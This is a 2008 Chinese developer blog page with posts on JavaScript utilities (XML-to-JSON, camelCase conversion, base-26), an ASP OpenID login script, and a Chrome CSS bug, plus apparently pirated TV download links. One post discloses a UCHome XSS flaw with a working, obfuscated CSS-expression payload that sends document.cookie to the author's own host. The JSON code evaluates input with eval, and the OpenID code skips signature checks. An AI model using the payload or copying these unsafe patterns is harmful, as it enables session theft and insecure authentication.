View Mode: Normal | Article List
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 下一页 | 最后一页

XML2JSON

2008-9-28 17:11:25 | 阅读全文 | 浏览:14 次 | 评论: 0
好像还有些xml不能转换,有兴趣的可以测试测试

我并不建议使用xml.   json才是王道

http://www.x2y2.com/lab/xml2json.html

用法:

FJSON.load(par); par 可以是json对象,可以是json字符串,也可以是xml字符串 返回json对象
FJSON.load以后可以直接用FJSON.json访问json对象
FJSON.getString(par);par可选,必须为json对象,留空则使用FJSON.json,建议load后使用FJSON.getString();
FJSON.toString(par); 同FJSON.getString

FJSON.getJson(par);par可选,必须为json字符串,留空则返回FJSON.json,建议load后使用FJSON.getJson()或FJSON.json;
FJSON.toJson(par); 同FJSON.getJson

示例
var xmlstr='<fisker name="fisker Cheung"><address>Shanghai,PRC</address><age>25</age><homepage>http://ifisker.com</homepage></fisker>';
var fisker = FJSON.load(xmlstr);
alert(fisker.fisker["@name"]);



/* FJSON
by fisker http://ifisker.com
lionkay@gmail.com
2008-9-28
FJSON.dom2Object is from  http://www.thomasfrank.se/xml_to_json.html
*/
var FJSON = {};
FJSON.load = function(data){
  this.init();
  if(!data) return null;
  if(typeof data == "object"){
    this.json = data;
    return this.json;
  }
  data = data.replace(/(^\s*)|(\s*$)/g, "");
  if(data.substring(0,1)=="<"){//xml格式
    var _dom = this.string2Dom(data);
    if(!_dom)return null;
    var _object = this.dom2Object(_dom);
    if(!_object)return null;
    var _o ={};
    _o[_dom.nodeName] = _object;
    var _jsonStr = this.getString(_o);
    var _json = this.getJson(_jsonStr);
    this.json = (this.havaRoot?_json:_json.root);
    return this.json;
  }else{
    return this.getJson(data);
  }
};

FJSON.init = function(){//初始化
  this.json = null;
  this.havaRoot = true;
}

FJSON.escape= function(txt){   
  return txt.replace(/[\\]/g, "\\\\")
            .replace(/[\/]/g, "\\/")
            .replace(/[\"]/g, '\\"')   
            .replace(/[\n]/g, '\\n')   
            .replace(/[\r]/g, '\\r');   
};

FJSON.toJson = FJSON.getJson = function(str){
  if(str!=undefined){
    try{
      this.json = eval('(' + str + ')');
    }catch(e){}
  };
  return this.json;
};

FJSON.toString = FJSON.getString = function(object) {
  var _jsonStr = "";
  var i;
  if(object==undefined) var object = this.json;
  switch (typeof object) {
    case "object":
       // null or undefiend
       if (!object){_jsonStr += "null";break;}

       //array
       if (object.join) { //数组
         _jsonStr +="[";
         for (j = 0; j < object.length; j++) {
           if (j > 0) _jsonStr +=",";
           _jsonStr +=(this.toString(object[j]));
         }
         _jsonStr +="]";
         break;
       }

       //object with serialize function
       if (typeof object.serialize == "function"){_jsonStr +=(object.serialize());break;}

       //object
       _jsonStr +="{";
       var needComma = false;
       for (var name in object) {
         var value = object[name];
           if (typeof value != "undefined" && typeof value != "function") {
             if (needComma){_jsonStr +=",";}else{needComma = true;}
             _jsonStr +=(this.toString(name));
             _jsonStr +=":";
             _jsonStr +=(this.toString(value));
           }
       }
       _jsonStr +="}";
       break;
       //object ends
            
    case "number":
       _jsonStr +=(String(object));
       break;
      
    case "string":
      _jsonStr +="\"";
      _jsonStr +=this.escape(object);
      _jsonStr +="\"";
      break;

    case "boolean":
      _jsonStr +=(object.toString());
      break;

    default:
      _jsonStr +="null";
      break;
  }

  return _jsonStr;
}

FJSON.string2Dom = function(str){
  if(str==undefined) return null;
  str = str.replace(/<\?(.*?)\?>/g,"");
  str = str.replace(/(^\s*)|(\s*$)/g, "");
  if(str.length<1) return null;
  var xmlDom = function(){
    try{ 
      var _o = new ActiveXObject("Microsoft.XMLDOM");
      _o.loadXML(str);
      return _o;
   }catch(e){
      try{
        return (new DOMParser()).parseFromString(str,"text/xml");
      }catch(e){return null;}
    }
  }();
  if(xmlDom==null) return null; 
  if(xmlDom.nodeType == 9) xmlDom = xmlDom.documentElement;
  if(xmlDom == null || xmlDom.tagName == "parsererror") {
    this.havaRoot = false;      
    xmlDom = this.string2Dom("<root>"+str+"</root>");
  }
  return xmlDom;
};

FJSON.dom2Object= function(xml){
  if(xml == undefined) return null;
  var o = {};
  if(xml.nodeType==9) xml = xml.documentElement;
  if(xml.nodeType!=1) return null;
  if(xml.attributes.length){   
    for (var j=0; j<xml.attributes.length; j++) o["@"+xml.attributes[j].nodeName] = (xml.attributes[j].nodeValue||"").toString();
  }
  if(!xml.firstChild) return o;
  if(!xml.attributes.length && !xml.firstChild) return null;

  for (var n=xml.firstChild; n; n=n.nextSibling) {
    if(n.nodeType==4){
      o["#cdata"] = n.nodeValue; 
      continue;
    }
    if (n.nodeType==3 && n.nodeValue.match(/[^ \f\n\r\t\v]/)){
      o["#text"] = n.nodeValue;
      continue;
    }

    if(!n.nodeName) continue;
    
    if (o[n.nodeName]) {  // multiple occurence of element ..   
      if (o[n.nodeName].join){   
        o[n.nodeName].push(this.dom2Object(n));   
      }else{  
        o[n.nodeName] = [o[n.nodeName], this.dom2Object(n)];   
      }
    }else{ 
      o[n.nodeName] = this.dom2Object(n);
    }
  } 
  return o;   
}; 

大富翁只这样玩滴

2008-9-26 22:14:21 | 阅读全文 | 浏览:17 次 | 评论: 2
powered by fisker

哈哈

驼峰写法和连接符写法

2008-9-19 16:02:28 | 阅读全文 | 浏览:14 次 | 评论: 0
设置样式的时候会用到,因为IE只接受驼峰写法。

<script> 
String.prototype.toCamel = function(){
  var s = this;
  return s.replace(/\-([a-z])([a-z]?)/ig,function(s,a,b){return a.toUpperCase()+b.toLowerCase();});
}

String.prototype.toHyphen = function(){
  var s = this;
  return s.replace(/([A-Z])([a-z]?)/g,function(s,a,b){return "-"+a.toLowerCase()+b.toLowerCase();});
}


alert("background-image".toCamel()); //return backgroundImage
alert("backgroundImage".toHyphen()); //return background-image
</script> 

UCHome 安全漏洞

2008-9-5 15:11:42 | 阅读全文 | 浏览:84 次 | 评论: 1
我给康盛发了个邮件,官方也没什么反应,反正我也不用UChome。那就公布下。

主页风格设置页 cp.php?ac=theme 背景图设置处过滤不严,导致可以窃取用户cookie。
 
漏洞利用代码:
);a:expression(location.href=(function(){var a=[72,84,84,80,58,47,47,88,50,89,50,46,67,79,77,47,63];for(var Q=j=0;j!=17;j++){Q+=String.fromcharCode(a[j])}return Q}().substring(1,99)+document.cookie));.jpg


仅ie有效。

function(){var a=[72,84,84,80,58,47,47,88,50,89,50,46,67,79,77,47,63];for(var Q=j=0;j!=17;j++){Q+=String.fromcharCode(a[j]}return Q}().substring(1,99)

这段的运行结果就是http://x2y2.com/?
因为过滤了双引号,单引号也被转义,所以我想到这个方法构造字符串
然后后面加上document.cookie,怎样就可以在http://x2y2.com/上面纪录cookies


演示可以看 
http://u.discuz.net/home/600374
或者
http://in025.com/?26

测试openid

2008-9-3 22:41:54 | 阅读全文 | 浏览:55 次 | 评论: 3
openid testing
openid testingopenid testing

asp写的openid登录方法

2008-9-3 21:37:29 | 阅读全文 | 浏览:13 次 | 评论: 0
今天ftp上不去,回头把blog改下。

以前好像看到sipo说asp写openid有些不能解决的问题,我也没查openid的规范。
这个对付简单的登录还是没问题的,不过代码还没测试。

先放上来,有兴趣的可以看看

 <script language="JScript" runat="server">
/*
ASP Openid
by fisker
2008-9-3
*/
var alert=print=write=function(str){Response.Write(str);}
var openid = new fiskerOpenid();
var input=getInput();
if(input["openid.mode"]=="id_res"){
  var nickname = input["openid.sreg.nickname"];
  var email = input["openid.sreg.email"];
  var returnUrl=input["return"];
  returnUrl += returnUrl.indexOf("?")!=-1?"&":"?";
  returnUrl += "nickname="+nickname;
  returnUrl += "&email="+email;

  Response.Redirect(returnUrl);
}else{
  if(input["openid"]==""||input["return"]==""){
    Response.write("<sc"+"ript>");
    Response.write("alert(\"error\");");
    Response.write("window.history.forward(1);");
    Response.write("</sc"+"ript>");
    Response.end();
  }
  
  openid.url = input["openid"];
  openid.get();
}

function getInput(){
    var input=new Array();
    var e=new Enumerator(Request.QueryString);
    for (;!e.atEnd();e.moveNext()){
      x=e.item();
      input[String(x).toLowerCase()]=String(Request.QueryString(x));
    }
    e=new Enumerator(Request.Form);
    for (;!e.atEnd();e.moveNext()){
      x=e.item();
      input[String(x).toLowerCase()]=String(Request.Form(x));
    }
    return input;
}

function fiskerOpenid(){
  this.url="";
  this.server="";
  this.delegate="";
  this.user = null;
  this.trust_root="";
  this.return_to="";
  this.sreg_required="nickname,email";

  this.get = function(info){
    if(!this.init()){Response.write("error");return;}
    if(info!=undefined)this.sreg_required=info;
    var html=this.request(this.server,"openid.mode=associate&openid.assoc_type=HMAC-SHA1");
    if (html==""){Response.write("error");return;}
    var assoc_handle = "";
    var assoc_type = "";
    var expires_in = "";
    var mac_key = "";
    try{
      var re=new RegExp("assoc_handle:(.+)","ig");
      assoc_handle = re.exec(html)[1];
      var re=new RegExp("assoc_type:(.+)","ig");
      aassoc_type = re.exec(html)[1];
      var re=new RegExp("expires_in:(.+)","ig");
      expires_in = re.exec(html)[1];
      var re=new RegExp("mac_key:(.+)","ig");
      mac_key = re.exec(html)[1];
      delete re;
    }catch(e){}

    var url = this.server;
    url += url.indexOf("?")!=-1?"&":"?";
    url += "openid.mode="+Server.URLEncode("checkid_setup");
    url += "&openid.identity="+Server.URLEncode(this.delegate);
    url += "&openid.trust_root="+Server.URLEncode(this.trust_root);
    url += "&openid.return_to="+Server.URLEncode(this.return_to);
    url += "&openid.assoc_handle="+Server.URLEncode(assoc_handle);
    url += "&openid.sreg.required="+Server.URLEncode(this.sreg_required);

    Response.Redirect(url);
  }

  this.init = function(){
    if(!this.check()) return false;

    if(this.trust_root==""||this.return_to==""){
      var thisServer="";
      var thisUrl="";
      thisServer+=String(Request.serverVariables("https")).toLowerCase()=="off"?"http://":"https://";
      thisServer+=String(Request.serverVariables("server_name"));
      thisServer+=String(Request.serverVariables("server_port"))=="80"?"":":"+String(Request.ServerVariables("server_port"));
      thisUrl+=thisServer;
      thisUrl+=String(Request.serverVariables("URL"));
      thisUrl+=String(Request.QueryString)==""?"":"?"+String(Request.QueryString);
      this.trust_root=(this.trust_root==""?thisServer:this.trust_root);
      this.return_to=(this.return_to==""?thisUrl:this.return_to);
    }

    var html = this.request(this.url);
    if (html=="") return false;
    html=html.replace(/\'/ig,"\"");
    var re=new RegExp("<link(.*?)rel=\"(.*?)\"(.*?)href=\"(.*?)\"(.*?)>","ig");
    var arr=[];
    while ((arrMatch = re.exec(html)) != null){
      var index=arrMatch[2].toLowerCase();
      var value=arrMatch[4];
      if(index.indexOf(" ")){
        for(var j=0;j<index.split(" ").length;j++)arr[index.split(" ")[j]]=value;
      }else{
        arr[index]=value;
      }
    }
    delete re;
    if(arr["openid.server"]!=""){
      this.server=arr["openid.server"];
    }else{
      return false;
    }
    this.delegate = arr["openid.delegate"]==undefined?this.url:arr["openid.delegate"];
    return true;
  }

  this.check = function(){
    if (this.url=="") return false;
    if(this.url.indexOf("://")==-1) this.url="http://"+this.url;
    return true;
  }

  this.request = function(url,data){
    if (data == undefined)var data = null;
    var method = data ? 'POST' : 'GET'; 
    var html="";
    try{
      var xmlhttp=Server.CreateObject("MSXML2.ServerXMLHTTP.3.0");
      xmlhttp.open(method,url,false);
      xmlhttp.send(data);
        html = this.bytesToStr(xmlhttp.responseBody);
      delete xmlhttp;
    }catch(e){}
      return html;
    }

  this.bytesToStr = function(CodeBody){
    var objStream= Server.CreateObject("ado"+"db.stream") ;
    objStream.Type = 1 ;
    objStream.Mode =3 ;
    objStream.Open() ;
    objStream.Write(CodeBody);
    objStream.Position = 0 ;
    objStream.Type = 2 ;
    objStream.charset = "utf-8" ;
    var returnstr = objStream.ReadText;
    objStream.Close();
    delete objStream;
    return returnstr;
  }

}
</script>

fuck google chrome

2008-9-3 10:05:13 | 阅读全文 | 浏览:63 次 | 评论: 0
刚看了好一会没找到原因。我的 http://www.x2y2.com/movie/,打开以后全都堆在一起

我把页面保存到本地又没问题,回头有空再把css一块块注释掉看看。

另外,Inspector竟然不认识thead,如果你用<thead>嵌套<td>,就会显示错误。
还有就是关闭最后一个tab为什么不打开一个about:blank,直接关掉浏览器很不爽

最后终于找出来了
我css里面写错了一行
  background:url(  clear:both;

就因为少了个),难道;的优先级还没有()高?
我晕啊


浏览器信息:
window.navigator.appName:Netscape
window.navigator.appVersionn:5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) chrome/0.2.149.27 Safari/525.13
window.navigator.userAgent:Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) chrome/0.2.149.27 Safari/525.13

判断chrome

var ischrame = window.navigator.userAgent.toLowerCase().indexOf("chrome")!=-1;

alert(ischrame);



越狱 第四季 lol...

2008-9-2 14:36:39 | 阅读全文 | 浏览:95 次 | 评论: 2
越狱 第四季 第1集 
http://www.x2y2.com/movie/id/n/13297/

第1集avi高清版:
http://dvd.uubird.com/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第1集-Prison.Break.S04E01.HDTV.XviD-LOL.avi 

第1集无字幕版:
http://rmvb.uubird.com:87/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第1集-Prison-Break-S04E01.rmvb

第1集中英双字幕版:
http://rmvb.uubird.com/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第1集-Prison-Break-S04E01cn.rmvb

越狱 第四季 第2集 
http://www.x2y2.com/movie/id/n/13298/

第2集avi高清版:
http://dvd.uubird.com/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第2集-Prison.Break.S04E02.HDTV.XviD-LOL.avi
第2集无字幕版:
http://rmvb.uubird.com:87/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第2集-Prison-Break-S04E02.rmvb
第2集中英双字幕版: 
http://rmvb.uubird.com:89/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第2集-Prison-Break-S04E02cn.rmvb

最新电影 傲游插件
http://addons.maxthon.com/zh_CN/post/2196

纯字母的26进制算法

2008-9-1 13:10:30 | 阅读全文 | 浏览:36 次 | 评论: 0
function zimu(n){
  if (n<0)return "";
  var aZ=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"];
  var str="";
  var last=n%26;
  str=aZ[last]+str;
  n=n-last;

  if(n>0){str=zimu(n/26-1)+str;}
  return str;
}


如果需要处理负数,其实应该用不到
function zimu(n){
  var fushu = n<0?true:false;
  if (n<0)n=-n;
  var aZ=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"];
  var str="";
  var last=n%26;
  str=aZ[last]+str;
  n=n-last;

  if(n>0){str=zimu(n/26-1)+str;}
  return (fushu?"-":"")+str;

}



如果不需要0,a=1,b=2
function zimu(n){
  if (n<=0)return "";
  var aZ=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"];
  var str="";
  n=n-1;
  var last=n%26;
  str=aZ[last]+str;
  n=n-last;

  if(n>0){str=zimu(n/26)+str;}
  return str;
}


用0-9,a-p表示26进制,这个就简单了
"2008".toString(26)

DNS又被劫持。日

2008-8-20 23:33:53 | 阅读全文 | 浏览:30 次 | 评论: 1
上海电信的DNS又被劫持。日

上个网都不安宁

xxxxx
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 下一页 | 最后一页